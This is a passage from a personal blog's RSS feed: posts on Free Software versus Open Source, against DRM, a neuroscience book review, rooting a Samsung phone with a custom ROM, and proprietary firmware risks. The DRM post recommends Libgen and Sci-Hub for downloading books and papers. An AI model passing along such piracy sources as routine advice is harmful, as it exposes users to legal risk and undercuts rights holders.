<p>The difference between the two movements is best illustrated by an incident in which TiVo - a video recorder - used a software which was free/open-source and gave users legal right to modify it, but the hardware won&rsquo;t allow users to run their modified versions. This restriction was fine for Open Source proponents like Linus Torvalds, but Free Software proponents like Stallman opposed such restrictions. A new version of GNU General Public License was written by the Free Software Foundation to address this issue. For more details on this, I would suggest you to read <a href="https://www.gnu.org/philosophy/tivoization.en.html">this page</a> on the GNU website. Moreover, you can read the Wikipedia page too by clicking <a href="https://en.wikipedia.org/wiki/Tivoization">here</a>.</p>
<p>Personally, I use the term &ldquo;Free Software&rdquo; and not &ldquo;Open Source&rdquo; due to my opposition against proprietary software. Furthermore, I agree with the ethical values associated with the term &ldquo;Free Software&rdquo;. Using this term helps me spread awareness about the difference and propagate the ethical values.</p>
<p>Feel free to use the term you prefer, but it is important to understand what the term means.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[What is DRM and how it threatens your freedom]]></title>
            <link>https://ravidwivedi.in/posts/drm/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/drm/</guid>
            <pubDate>Thu, 23 Sep 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Ever used Spotify, Apple Music, Netflix or Hotstar? Ever wondered why you cannot copy the files from them and share it with someone? Ever wondered why you cannot download the files in your device and transfer in another device or play them in any other media player? Let’s be clear on this: Downloading means that the file is now in your device and you can play/view it in any app of your choice. Download does not mean that you can only view the file in that particular app(like Spotify or Netflix) for offline use.
The answer is DRM.
DRM is usually known as Digital Rights Management by publishers, record labels and streaming dis-services. The long form Digital Restrictions Management is closer to reality.
DRM basically means digital files(any form of artwork, PDF, music files or software) are encrypted in such a way that users cannot copy them. This threatens user’s freedom because technology allows us to copy files and share with others. What is the point of “technological progress”(being able to copy files is an example of technological progress) if you cannot even use it?
Copying is an inherent nature of digital files to the extent that it reminds of the quote by Bruce Schneier, “Trying to make digital files uncopyable is like trying to make water not wet.” Also, since we can copy files without any marginal cost and share it to everyone, it raises a fundamental moral question, quoting Eben Moglen, “If I can provide to everyone all goods of intellectual value or beauty, for the same price that I can provide the first copy of those works to anyone, why is it ever moral to exclude anyone from anything? If you could feed everyone on earth at the cost of baking one loaf and pressing a button, what would be the moral case for charging more for bread than some people could afford to pay?”
The usual logic in favor of DRM is that artists lose money when someone copies a file and share it with someone. This argument assumes that everyone who has a copy of the file would have paid for a copy if sharing was prohibited. In reality, a lot of files would not even have been sold. Imagine a friend shared a book with you and you read it. Would you have read all such books shared with you if sharing was prohibited? When someone refuses sharing a book or a music file with you, do you go to market and purchase that thing? Also, when the marginal cost of copying is zero, nobody is losing money when you copy the file. Compare this situation with physical objects like chairs, noodles, clothes etc. Every piece of that physical object has a production cost while for software and digital files,the cost is only in the development of that file or software but every copy is effectively free-of-cost(given that computers and mobile phones are household items that people use for personal use anyway, so the cost of device is not included in the copying).
Note that in the current system, only well-established artists really make money. Usually, the artists do not get fair compensation and the streaming companies are the one earning from artists’ work. These DRM imposing dis-services act like a middle agency between users and artists, effectively robbing user’s freedom and artists’ pay.
Should we prohibit users from copying files and sharing them OR should we change our business model and allow them to share the files? Since, DRM benefits only publishers, streaming services, record labels and the like, while others receives discrimation, exclusion and lack of freedom to use technology, I think the the business model needs to change rather than restrciting users from sharing.
DRM is also being used in educational resources now-a-days which excludes people who can’t afford them or people who value freedom and won’t use files containing DRM.
DRM is already being used to discriminate against the poor in many ways.
When a DRM imposing service gets shut down, users lose access to all their data they purchased from that service. For example,Yahoo music used to distribute music files with DRM and when it shut down, users could not backup their files and lost access to all the music they purchased. Another example is when Microsoft’s ebook store closed, all the users lost their ebooks purchased from there.
Should we wait for the companies to eliminate DRM from the files?
No. Companies might never remove DRM from their services. Rather, we can refuse to use services which impose DRM. You can use youtube-dl to download music files from many sites. You can use Newpipe Android app to download music and videos from YouTube. For educational resources, we can use Libgen or Scihub to download the books and academic papers. Check the DRM-free guide by FSF for websites which provide DRM-free content.
Everytime you pay for a DRM product, the companies building such products get funds, either by your data or you pay them directly. The measure of refusing to use DRM services brings change to an extent– that we do not fund such practices.
But the real change is to have a model for authors/creators to get funded and they release the content without DRM.
We can fund artists without DRM. Fans can directly fund artists for their work. A lot of YouTubers get money from their Patreons and people do directly fund creators.
Here are a few examples to demonstrate that the model can work:
Louis C.K. released copies of his film without any restrictions or DRM and the film got profit in 12 hours.
Diesel Sweeties released a DRM free webcomics and had huge success. They started releasing DRM-free payment optional model since then.
The band Radiohead released an album on their website without any restrictions with listeners allowed to pay nothing or any amount they would like to.
Therefore, we can fund artists directly and copy creative works will freedom. It is possible to have both freedom and creative work. What do you think?]]></description>
            <content:encoded><![CDATA[<p>Ever used Spotify, Apple Music, Netflix or Hotstar? Ever wondered why you cannot copy the files from them and share it with someone? Ever wondered why you cannot download the files in your device and transfer in another device or play them in any other media player? Let&rsquo;s be clear on this: Downloading means that the file is now in your device and you can play/view it in any app of your choice. Download does not mean that you can only view the file in that particular app(like Spotify or Netflix) for offline use.</p>
<p>The answer is DRM.</p>
<p>DRM is usually known as Digital Rights Management by publishers, record labels and streaming dis-services. The long form <a href="https://www.gnu.org/philosophy/words-to-avoid.en.html#DigitalRightsManagement">Digital Restrictions Management is closer to reality</a>.</p>
<p>DRM basically means digital files(any form of artwork, PDF, music files or software) are encrypted in such a way that users cannot copy them. This threatens user&rsquo;s freedom because technology allows us to copy files and share with others. What is the point of &ldquo;technological progress&rdquo;(being able to copy files is an example of technological progress) if you cannot even use it?</p>
<p>Copying is an inherent nature of digital files to the extent that it reminds of the <a href="https://www.schneier.com/essays/archives/2006/09/quickest_patch_ever.html">quote by Bruce Schneier</a>, &ldquo;Trying to make digital files uncopyable is like trying to make water not wet.&rdquo; Also, since we can copy files without any marginal cost and share it to everyone, it raises a fundamental moral question, quoting <a href="http://old.law.columbia.edu/publications/maine-speech.html">Eben Moglen</a>, &ldquo;If I can provide to everyone all goods of intellectual value or beauty, for the same price that I can provide the first copy of those works to anyone, why is it ever moral to exclude anyone from anything? If you could feed everyone on earth at the cost of baking one loaf and pressing a button, what would be the moral case for charging more for bread than some people could afford to pay?&rdquo;</p>
<p>The usual logic in favor of DRM is that artists lose money when someone copies a file and share it with someone. This argument assumes that everyone who has a copy of the file would have paid for a copy if sharing was prohibited. In reality, a lot of files would not even have been sold. Imagine a friend shared a book with you and you read it. Would you have read all such books shared with you if sharing was prohibited? When someone refuses sharing a book or a music file with you, do you go to market and purchase that thing? Also, when the marginal cost of copying is zero, nobody is losing money when you copy the file. Compare this situation with physical objects like chairs, noodles, clothes etc. Every piece of that physical object has a production cost while for software and digital files,the cost is only in the development of that file or software but every copy is effectively free-of-cost(given that computers and mobile phones are household items that people use for personal use anyway, so the cost of device is not included in the copying).</p>
<p>Note that in the current system, only well-established artists really make money. Usually, the <a href="https://www.cnet.com/tech/home-entertainment/is-spotify-unfair-to-musicians/">artists do not get fair compensation</a> and the streaming companies are the one earning from artists&rsquo; work. These DRM imposing dis-services act like a middle agency between users and artists, effectively robbing user&rsquo;s freedom and artists&rsquo; pay.</p>
<p>Should we prohibit users from copying files and sharing them OR should we change our business model and allow them to share the files? Since, DRM benefits only publishers, streaming services, record labels and the like, while others receives discrimation, exclusion and lack of freedom to use technology, I think the the business model needs to change rather than restrciting users from sharing.</p>
<p>DRM is also being used in educational resources now-a-days which excludes people who can&rsquo;t afford them or people who value freedom and won&rsquo;t use files containing DRM.</p>
<p>DRM is already being used to <a href="https://libredd.it/r/ABoringDystopia/comments/otxab1/cyborg_cups_to_save_000001_worth_of_free_refills/">discriminate against the poor</a> in many ways.</p>
<p>When a DRM imposing service gets shut down, users lose access to all their data they purchased from that service. For example,Yahoo music used to distribute music files with DRM and <a href="https://arstechnica.com/uncategorized/2008/07/drm-still-sucks-yahoo-music-going-dark-taking-keys-with-it/">when it shut down</a>, users could not backup their files and lost access to all the music they purchased. Another example is when Microsoft&rsquo;s ebook store closed, <a href="https://www.bbc.com/news/technology-47810367">all the users lost their ebooks</a> purchased from there.</p>
<p>Should we wait for the companies to eliminate DRM from the files?
No. Companies might never remove DRM from their services. Rather, we can refuse to use services which impose DRM. You can use youtube-dl to download music files <a href="https://ytdl-org.github.io/youtube-dl/supportedsites.html">from many sites</a>. You can use Newpipe Android app to download music and videos from YouTube. For educational resources, we can use Libgen or Scihub to download the books and academic papers. Check the <a href="https://www.defectivebydesign.org/guide">DRM-free guide by FSF</a> for websites which provide DRM-free content.</p>
<p>Everytime you pay for a DRM product, the companies building such products get funds, either by your data or you pay them directly. The measure of refusing to use DRM services brings change to an extent&ndash; that we do not fund such practices.
But the real change is to have a model for authors/creators to get funded and they release the content without DRM.</p>
<p>We can fund artists without DRM. Fans can directly fund artists for their work. A lot of YouTubers get money from their Patreons and people do directly fund creators.</p>
<p>Here are a few examples to demonstrate that the model can work:</p>
<ul>
<li>
<p>Louis C.K. released copies of his film without any restrictions or DRM and <a href="https://web.archive.org/web/20120516115209/http://buy.louisck.net/news/a-statement-from-louis-c-k">the film got profit in 12 hours</a>.</p>
</li>
<li>
<p>Diesel Sweeties released a DRM free webcomics and <a href="https://web.archive.org/web/20120130163103/http://www.dieselsweeties.com/blog/?p=740">had huge success</a>. They started releasing DRM-free payment optional model since then.</p>
</li>
<li>
<p>The band Radiohead released an album on their website without any restrictions with <a href="https://www.telegraph.co.uk/finance/markets/2816893/Radiohead-challenges-labels-with-free-album.html">listeners allowed to pay nothing or any amount they would like to</a>.</p>
</li>
</ul>
<p>Therefore, we can fund artists directly and copy creative works will freedom. It is possible to have both freedom and creative work. What do you think?</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Book Review: Phantoms in the Brain]]></title>
            <link>https://ravidwivedi.in/posts/phantoms-in-the-brain/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/phantoms-in-the-brain/</guid>
            <pubDate>Thu, 09 Sep 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[A few days ago, I finished reading the book Phantoms in the Brain by V. S. Ramachandran. The topic covered here is fascinating, interesting, mysterious, disturbing and shocking. The cliche “Reality is stranger than fiction” comes to mind.
The book covers many disorders and tries to explain them in concrete naeurological terms.
One of the cases presented in the book was that majority of amputees who suddenly lost a limb in an accident feel pain in the lost limb. Many patients feel that the fingers of the lost limb (fingers are not even attached to the body) are clenched tightly and this leads to unbearable pain (called phantom pain and hence the title of the book).
In the past, neurologists regarded such cases as mental problems and handed over the patient to psychiatrists. The book holds the view that due to damages in specific portions of the brain leads to loss of functionality which that portion carries. This is fascinating because when trying to understand these cases, it seems like we are only looking at exceptional cases, but at the same time, they do tell a lot about the normal human brain. Ramachandran brought a fresh appraoch and looked at how phantoms (the patients still feel that the lost limb is attached to the body and such a limb is called a phantom limb) are generated and how the brain can be tricked into unlearning a phantom. Would you like to look at the solution/treatment of the phantom pain? It is here. The solution is interesting as well.
Human brain can easily be tricked. Our brains carry so many cognitive biases, delusions, denial of the obvious facts. Quoting Oliver Sacks from the preface of the book, “The deeply strange business of mirror agnosia, and that of misattri­buting one’s own limbs to others, are often dismissed by physicians as irrational. But these problems are also considered carefully by Rama­chandran, who sees them not as groundless or crazy, but as emergency defense measures constructed by the unconscious to deal with sudden
overwhelming bewilderments about one’s body and the space around it. They are, he feels, quite normal defense mechanisms ( denial, repression, projection, confabulation, and so on) such as Freud delineated as universal strategies of the unconscious when forced to accommodate the intolerable or unintelligible.”
The topic presented here aligns very well with Daniel Kahneman’s Thinking, Fast and Slow, which says that there are two modes of thinking – System 1 and System 2. System 1 is fast, effortless and jumps to conclusions. It cannot be consciously controlled by us but we can change our habits to feed them into System 1 (like driving, walking, playing a cricket ball are in System 1 of the person practicing enough). System 2 is slow, effort and resource consuming. Heavy cognitive tasks are done using System 2.
Overall, Phantoms in the brain urges neuroscientists to be more open in their approach, while at the same time being fun to read, engaging and accessible to the general audience.]]></description>
            <content:encoded><![CDATA[<p>A few days ago, I finished reading the book <a href="https://en.wikipedia.org/wiki/Phantoms_in_the_Brain">Phantoms in the Brain</a> by <a href="https://en.wikipedia.org/wiki/V._S._Ramachandran">V. S. Ramachandran</a>. The topic covered here is fascinating, interesting, mysterious, disturbing and shocking. The cliche &ldquo;Reality is stranger than fiction&rdquo; comes to mind.</p>
<p>The book covers many disorders and tries to explain them in concrete naeurological terms.</p>
<p>One of the cases presented in the book was that majority of amputees who suddenly lost a limb in an accident feel pain in the lost limb. Many patients feel that the fingers of the lost limb (fingers are not even attached to the body) are clenched tightly and this leads to unbearable pain (called <a href="https://en.wikipedia.org/wiki/Phantom_pain">phantom pain</a> and hence the title of the book).</p>
<p>In the past, neurologists regarded such cases as mental problems and handed over the patient to psychiatrists. The book holds the view that due to damages in specific portions of the brain leads to loss of functionality which that portion carries. This is fascinating because when trying to understand these cases, it seems like we are only looking at exceptional cases, but at the same time, they do tell a lot about the normal human brain. Ramachandran brought a fresh appraoch and looked at how phantoms (the patients still feel that the lost limb is attached to the body and such a limb is called a phantom limb) are generated and how the brain can be tricked into unlearning a phantom. Would you like to look at the solution/treatment of the phantom pain? <a href="https://en.wikipedia.org/wiki/Mirror_therapy">It is here</a>. The solution is interesting as well.</p>
<p>Human brain can easily be tricked. Our brains carry so many <a href="https://en.wikipedia.org/wiki/List_of_cognitive_biases">cognitive biases</a>, delusions, denial of the obvious facts. Quoting Oliver Sacks from the preface of the book, &ldquo;The deeply strange business of mirror agnosia, and that of misattri­buting one&rsquo;s own limbs to others, are often dismissed by physicians as irrational. But these problems are also considered carefully by Rama­chandran, who sees them not as groundless or crazy, but as emergency defense measures constructed by the unconscious to deal with sudden
overwhelming bewilderments about one&rsquo;s body and the space around it. They are, he feels, quite normal defense mechanisms ( denial, repression, projection, confabulation, and so on) such as Freud delineated as universal strategies of the unconscious when forced to accommodate the intolerable or unintelligible.&rdquo;</p>
<p>The topic presented here aligns very well with <a href="https://en.wikipedia.org/wiki/Thinking,_Fast_and_Slow">Daniel Kahneman&rsquo;s Thinking, Fast and Slow</a>, which says that there are two modes of thinking &ndash; System 1 and System 2. System 1 is fast, effortless and jumps to conclusions. It cannot be consciously controlled by us but we can change our habits to feed them into System 1 (like driving, walking, playing a cricket ball are in System 1 of the person practicing enough). System 2 is slow, effort and resource consuming. Heavy cognitive tasks are done using System 2.</p>
<p>Overall, Phantoms in the brain urges neuroscientists to be more open in their approach, while at the same time being fun to read, engaging and accessible to the general audience.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[I rooted my Samsung Galaxy S9+]]></title>
            <link>https://ravidwivedi.in/posts/rooting-my-phone/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/rooting-my-phone/</guid>
            <pubDate>Tue, 07 Sep 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[(Warning: Installing a custom ROM on your device will void your warranty and there is a risk that it can brick your device)
(Note: In my case, I could afford to risk bricking my phone)
Index
What is rooting?
My experience of rooting
How much free software does iode OS have
How to install a custom ROM
What is rooting?
A user having root access of an operating system means they have the capability to make unrestricted changes in the system. Such a user is also called a superuser or an admin. Check out the wiki page for more details.
Mobile phones which ship with Android pre-installed in their devices do not give users root access by default. For example, the users have read-only permissions for /system/ partition on the phone. Therefore, users need to put effort into taking root access of their devices. This extra effort is what we call ‘rooting’. Check this Wikipedia page for a good list of advantages that rooting provides to users. This gives users full control over their devices.
Android phones are shipped with nonfree software preinstalled which users cannot remove without having root access. Apps like YouTube, Google Play Store and other malware by Google are usually preinstalled. I wanted to remove the nonfree software from my phone.
To read the issues of freedom in Android in more detail, please check Richard Stallman’s article on this topic.
My experience of rooting
I have Samsung Galaxy S9+ phone and I searched on the internet for ROMs that can be installed in this device. I found the information on internet very confusing and unorganized. Since there was a risk of bricking my phone which would make it not usable, I thought of consulting someone who has installed custom ROM many times and can give some of their time to guide me. I consulted Abhas for this who is a hacker and has a lot of experience in installing custom ROMs. We were on a video call and Abhas gave me instructions.
The steps we did are listed here in this text file. Note that I used Debian, which is a GNU/Linux based operating system in my laptop. Depending on your phone model and laptop operating system, the steps mentioned at the URL will differ.
First, we tried installing Carbon ROM but it failed somehow. Then Abhas suggested me to try iode OS and I installed it. The XDA page for iode OS for my phone is here.
Check iode OS Screenshots taken by me after the fresh install (I may have installed a few apps before taking these Screenshots)
Important Note: After the install, the Jio sim does not work because iode OS (and many other custom ROMs) do not have Volte support.
For gaining root access, I flashed Magisk using TWRP.
After this, I learnt flashing a ROM myself and I successfully installed an older version of Lineage OS myself on Moto G4 Plus.
How much free software does iode OS have
iode OS is a free software operating system which does not have any Google apps pre-installed. Infact, the only nonfree software app pre-installed is Magic Earth. I immediately uninstalled that app. I suggest iode OS team to remove Magic Maps. If they would like to add any maps app, my suggestion to them is to add Organic Maps which takes data from OpenStreetMap.
The phone still contains nonfree firmware which is necessary for some hardware, like WiFi, to function properly, and the nonfree firmware itself is a serious issue in terms of user freedom. Even though the phone does not contain 100% free software, it is still a big step towards my freedom. There are no Google or Samsung apps in my phone which were pre-installed in the phone.
Nonfree software in iode OS: Magic Earth + nonfree firmware.
List of a few pre-installed software in the iode OS:
F-Droid, modified to give priority to iode repository;
QKSMS
iode Browser
microG
pep
Geometric Weather app
How to install a custom ROM
You can also install a custom ROM if you have an Android phone. If you have an iPhone, I don’t know anything about flashing a custom ROM there as of now. Perhaps ditching the iPhone is the only step towards freedom.
To find a custom ROM built for your phone, first check if Lineage OS has an official support for your phone. If Lineage OS is available for your device, then go for it. Also, check Lineage OS website for instructions to install custom ROM on your phone.
Steps for choosing a custom ROM:
Visit the XDA Forums.
Scroll down to All Categories section.
Choose your manufacturer from the All Categories list, for example, Samsung, Redmi etc.
Choose exact model of your phone, like Samsung Galaxy S9+. For my phone, this leads to this page.
Choose ROMs, Kernels from the list. This leads us to this page for my phone model.
Check for posts with OSS and OFFICIAL tags. Also check if gapps (Google Apps) are included or not. I suggest you to not include gapps.
If you click on a post, it will also contain instructions on how to flash a custom ROM.
Now the steps involved in installing custom ROM on your phone are:
Unlock the bootloader of the phone.
Run the phone in download mode and flash a recovery project like TWRP into the phone.
Use TWRP to wipe all the data– Dalvik Cache, system, cache, data. Flash the downloaded ROM image.
Reboot to recovery.
Depending on your device and the operating system in the laptop, the way to perform these steps would differ.
I know that these steps can be overwhelming for nontechnical users or users who haven’t done this before. Therefore, I am planning to make a video tutorial on rooting a phone in the future.]]></description>
            <content:encoded><![CDATA[<p>(Warning: Installing a custom ROM on your device will void your warranty and there is a risk that it can brick your device)</p>
<p>(Note: In my case, I could afford to risk bricking my phone)</p>
<h3 id="index">Index</h3>
<ul>
<li>
<p><a href="#what-is-rooting">What is rooting?</a></p>
</li>
<li>
<p><a href="#my-experience-of-rooting">My experience of rooting</a></p>
</li>
<li>
<p><a href="#how-much-free-software-does-iode-os-have">How much free software does iode OS have</a></p>
</li>
<li>
<p><a href="#how-to-install-a-custom-rom">How to install a custom ROM</a></p>
</li>
</ul>
<h3 id="what-is-rooting">What is rooting?</h3>
<p>A user having root access of an operating system means they have the capability to make unrestricted changes in the system. Such a user is also called a superuser or an admin. Check out the <a href="https://en.wikipedia.org/wiki/Superuser">wiki page</a> for more details.</p>
<p>Mobile phones which ship with Android pre-installed in their devices do not give users root access by default. For example, <a href="https://en.wikipedia.org/wiki/Android_(operating_system)#Rooting">the users have read-only permissions for /system/ partition on the phone</a>. Therefore, users need to put effort into taking root access of their devices. This extra effort is what we call &lsquo;rooting&rsquo;. <a href="https://en.wikipedia.org/wiki/Rooting_(Android)#Advantages">Check this Wikipedia page</a> for a good list of advantages that rooting provides to users. This gives users full control over their devices.</p>
<p>Android phones are shipped with nonfree software preinstalled which users cannot remove without having root access. Apps like YouTube, Google Play Store and other <a href="https://www.gnu.org/proprietary/malware-google.html">malware by Google</a> are usually preinstalled. I wanted to remove the <a href="https://ravidwivedi.in/posts/free-sw">nonfree software</a> from my phone.</p>
<p>To read the issues of freedom in Android in more detail, please check <a href="https://www.gnu.org/philosophy/android-and-users-freedom.en.html">Richard Stallman&rsquo;s article on this topic</a>.</p>
<h3 id="my-experience-of-rooting">My experience of rooting</h3>
<p>I have Samsung Galaxy S9+ phone and I searched on the internet for ROMs that can be installed in this device. I found the information on internet very confusing and unorganized. Since there was a risk of bricking my phone which would make it not usable, I thought of consulting someone who has installed custom ROM many times and can give some of their time to guide me. I consulted <a href="https://abhas.io">Abhas</a> for this who is a hacker and has a lot of experience in installing custom ROMs. We were on a video call and Abhas gave me instructions.</p>
<p>The steps we did are listed here in this <a href="https://ravidwivedi.in/files/steps-custom-rom.txt">text file</a>. Note that I used Debian, which is a GNU/Linux based operating system in my laptop. Depending on your phone model and laptop operating system, the steps mentioned at the URL will differ.</p>
<p>First, we tried installing Carbon ROM but it failed somehow. Then Abhas suggested me to try <a href="https://iode.tech/en">iode OS</a> and I installed it. The XDA page for iode OS for my phone <a href="https://forum.xda-developers.com/t/rom-s9-s9-11-0-iodeos-lineageos-18-1-microg-adblocker-03-08-2021.4170059/">is here</a>.</p>
<p>Check iode OS Screenshots taken by me after the fresh install (I may have installed a few apps before taking these Screenshots)</p>
<img src="https://ravidwivedi.in/images/iode-os-1.png" width="150" height="300">
<br>
<img src="https://ravidwivedi.in/images/iode-os-2.png" width="150" height="300">
<p><strong>Important Note: After the install, the Jio sim does not work because iode OS (and many other custom ROMs) do not have Volte support.</strong></p>
<p>For gaining root access, I flashed Magisk using TWRP.</p>
<p>After this, I learnt flashing a ROM myself and I successfully installed an older version of Lineage OS myself on Moto G4 Plus.</p>
<h3 id="how-much-free-software-does-iode-os-have">How much free software does iode OS have</h3>
<p>iode OS is a free software operating system which does not have any Google apps pre-installed. Infact, the only nonfree software app pre-installed is Magic Earth. I immediately uninstalled that app. I suggest iode OS team to remove Magic Maps. If they would like to add any maps app, my suggestion to them is to add <a href="https://f-droid.org/en/packages/app.organicmaps/">Organic Maps</a> which takes data from <a href="https://www.openstreetmap.org/">OpenStreetMap</a>.</p>
<p>The phone still contains <a href="https://ravidwivedi.in/posts/firmware">nonfree firmware</a> which is necessary for some hardware, like WiFi, to function properly, and the nonfree firmware itself is a serious issue in terms of user freedom. Even though the phone does not contain 100% free software, it is still a big step towards my freedom. There are no Google or Samsung apps in my phone which were pre-installed in the phone.</p>
<p><strong>Nonfree software in iode OS: Magic Earth + nonfree firmware</strong>.</p>
<p>List of a few pre-installed software in the iode OS:</p>
<ul>
<li>
<p><a href="https://www.f-droid.org/">F-Droid</a>, modified to give priority to iode repository;</p>
</li>
<li>
<p><a href="https://f-droid.org/en/packages/com.moez.QKSMS/">QKSMS</a></p>
</li>
<li>
<p>iode Browser</p>
</li>
<li>
<p><a href="https://microg.org/">microG</a></p>
</li>
<li>
<p><a href="https://f-droid.org/en/packages/security.pEp/">pep</a></p>
</li>
<li>
<p><a href="https://f-droid.org/en/packages/com.mbestavros.geometricweather/">Geometric Weather app</a></p>
</li>
</ul>
<h3 id="how-to-install-a-custom-rom">How to install a custom ROM</h3>
<p>You can also install a custom ROM if you have an Android phone. If you have an iPhone, I don&rsquo;t know anything about flashing a custom ROM there as of now. Perhaps ditching the iPhone is the only step towards freedom.</p>
<p>To find a custom ROM built for your phone, first <a href="https://wiki.lineageos.org/devices/">check if Lineage OS has an official support for your phone</a>. If Lineage OS is available for your device, then go for it. Also, check Lineage OS website for instructions to install custom ROM on your phone.</p>
<p>Steps for choosing a custom ROM:</p>
<ol>
<li>
<p>Visit the <a href="https://forum.xda-developers.com/">XDA Forums</a>.</p>
</li>
<li>
<p>Scroll down to All Categories section.</p>
</li>
<li>
<p>Choose your manufacturer from the All Categories list, for example, Samsung, Redmi etc.</p>
</li>
<li>
<p>Choose exact model of your phone, like Samsung Galaxy S9+. For my phone, this leads to <a href="https://forum.xda-developers.com/c/samsung-galaxy-s9.7530/">this page</a>.</p>
</li>
<li>
<p>Choose ROMs, Kernels from the list. This leads us to <a href="https://forum.xda-developers.com/f/samsung-galaxy-s9-s9-snapdragon-roms-kernels.7866/">this page</a> for my phone model.</p>
</li>
<li>
<p>Check for posts with OSS and OFFICIAL tags. Also check if gapps (Google Apps) are included or not. I suggest you to not include gapps.</p>
</li>
</ol>
<p>If you click on a post, it will also contain instructions on how to flash a custom ROM.</p>
<p>Now the steps involved in installing custom ROM on your phone are:</p>
<ol>
<li>
<p>Unlock the bootloader of the phone.</p>
</li>
<li>
<p>Run the phone in download mode and flash a recovery project like TWRP into the phone.</p>
</li>
<li>
<p>Use TWRP to wipe all the data&ndash; Dalvik Cache, system, cache, data. Flash the downloaded ROM image.</p>
</li>
<li>
<p>Reboot to recovery.</p>
</li>
</ol>
<p>Depending on your device and the operating system in the laptop, the way to perform these steps would differ.</p>
<p>I know that these steps can be overwhelming for nontechnical users or users who haven&rsquo;t done this before. Therefore, I am planning to make a video tutorial on rooting a phone in the future.</p>
]]></content:encoded>
            <author>Ravi Dwivedi</author>
        </item>
        <item>
            <title><![CDATA[Ethical issues regarding firmware]]></title>
            <link>https://ravidwivedi.in/posts/firmware/</link>
            <guid isPermaLink="false">https://ravidwivedi.in/posts/firmware/</guid>
            <pubDate>Mon, 06 Sep 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[Index
What is firmware
Problems with proprietary firmware
Importance of Free Firmware
What is firmware
Firmware is a software which provides a way for hardware to interact with the operating system. It runs on a secondary processor and not on the CPU. For example the WiFi chipset will run this code directly instead of the main CPU. Firmware files aren’t used by the kernel, they’re loaded by the kernel onto other pieces of hardware.
Quoting Debian wiki on what is Firmware:
Firmware refers to embedded software which controls electronic devices. Well-defined boundaries between firmware and software do not exist, as both terms cover some of the same code. Typically, the term firmware deals with low-level operations in a device, without which the device would be completely non-functional.
For example, remote control of a television uses firmware to convert your button presses into infrared signals so that the television can understand. For more examples of firmware, please check this wiki page.
Let’s suppose you are able to boot and install a free software operating system, like any GNU/Linux based Operating System and you did not install any nonfree software. You might be tempted to say that you are running only free software but you might still be running proprietary firmware. For example, Ubuntu comes pre-installed with nonfree firmware. Depending upon your laptop, you might need to install nonfree firmware in addition to the operating system for some hardware to work properly.
Problems with proprietary firmware
The problem with propietary firmware is the same as any propietary software– users do not control it and we cannot trust it. It does not give users the freedom and therefore users do not have a defence against any of the bugs or intentional malfunctionalities being introduced in the system.
Quoting Mark Shuttleworth, the founder of Canonical which develops and maintains Ubuntu,
If you read the catalogue of spy tools and digital weaponry provided to us by Edward Snowden, you’ll see that firmware on your device is the NSA’s best friend.
Following are some known examples of insecurity issues due to bugs or adding intentional malfunctionalities at firmware level:
A researcher broke into Apple’s firmware and caused the battery to overcharge
NSA adds spyware into firmware of many devices.
Wikileaks revealed that several CIA projects infect Apple Mac firmware (meaning the infection persists even if the operating system is re-installed). Basically, EFI/UEFI is essentially a backdoor for taking control of a computer without user’s knowledge. Further, the attacks described in the leaks are very widespread.
A vulnerability in the EFI/UEFI firmware is used by CIA to write to NVRAM or persistent storage of the computer without the users knowing about it. It cannot be detected easily by the users and it can survive a complete OS reinstall.
CIA documents leaked by the Wikileaks note that the UEFI level exploits can compromise the whole system. The ExitBootServices Hooking page notes, “At this point, you can do whatever you want.”
Keep in mind that if a backdoor is installed at the firmware level, it can gain full access to your computer. Such a control of the system means that the applications running on your machine are also fully compromised.
Importance of free firmware
In the previous section, we explored that the issue of firmware being propietary and hence, not controlled by the user, is not a light issue at all. It is a very serious issue and the well-known exploits in these firmware can make you a prey to NSA or any third-party spying without you even knowing.
The firmware should be free software as any software so that the users have freedom to detect and fix bugs, remove any backdoors put into the firmware, and other problems that can arise with proprietary firmware. For this, the manufacturers need to publish key technical specifications sufficient to write free firmware for their hardware. Even if you are running proprietary firmware and ditch Windows or MacOS or any proprietary operating system to switch to a free software operating system, like GNU/Linux, I welcome your move as one more step towards freedom.
A very important example of a firmware is BIOS, which starts your computer when you power it on. Libreboot and Coreboot are free software BIOS.
Liberated Computer (the laptop I use) runs on Coreboot and the only nonfree software it has is the Intel ME blob which is disabled.That means it runs purely free software.
The following devices have only free firmware installed at the time of shipping:
Devices which can run Replicant OS (Note: You might have to use external hardware/dongles for WiFi, Bluetooth to work)
Devices that have Libreboot support
Devices which are RYF certified by FSF
Unfortunately, proprietary firmware is not even considered a problem by many people who care about software freedom. Perhaps there is a lack of awareness of the issue. If that is the case, then hopefully I have now made you aware of the issues with proprietary firmware.
(Credits: Thanks to Pirate Praveen for proofreading the article and correcting some factual errors.)
For further reading:
Debian wiki.]]></description>
            <content:encoded><![CDATA[<h3 id="index">Index</h3>
<ul>
<li>
<p><a href="#what-is-firmware">What is firmware</a></p>
</li>
<li>
<p><a href="#problems-with-proprietary-firmware">Problems with proprietary firmware</a></p>
</li>
<li>
<p><a href="#importance-of-free-firmware">Importance of Free Firmware</a></p>
</li>
</ul>
<h3 id="what-is-firmware">What is firmware</h3>
<p>Firmware is a software which provides a way for hardware to interact with the operating system. It runs on a secondary processor and not on the CPU. For example the WiFi chipset will run this code directly instead of the main CPU. Firmware files aren’t used by the kernel, they’re loaded by the kernel onto other pieces of hardware.</p>
<p><a href="https://wiki.debian.org/Firmware">Quoting Debian wiki</a> on what is Firmware:</p>
<blockquote>
<p>Firmware refers to embedded software which controls electronic devices. Well-defined boundaries between firmware and software do not exist, as both terms cover some of the same code. Typically, the term firmware deals with low-level operations in a device, without which the device would be completely non-functional.</p>
</blockquote>
<p>For example, remote control of a television uses firmware to convert your button presses into infrared signals so that the television can understand. For more examples of firmware, please <a href="https://en.wikipedia.org/wiki/Firmware#Examples">check this wiki page</a>.</p>
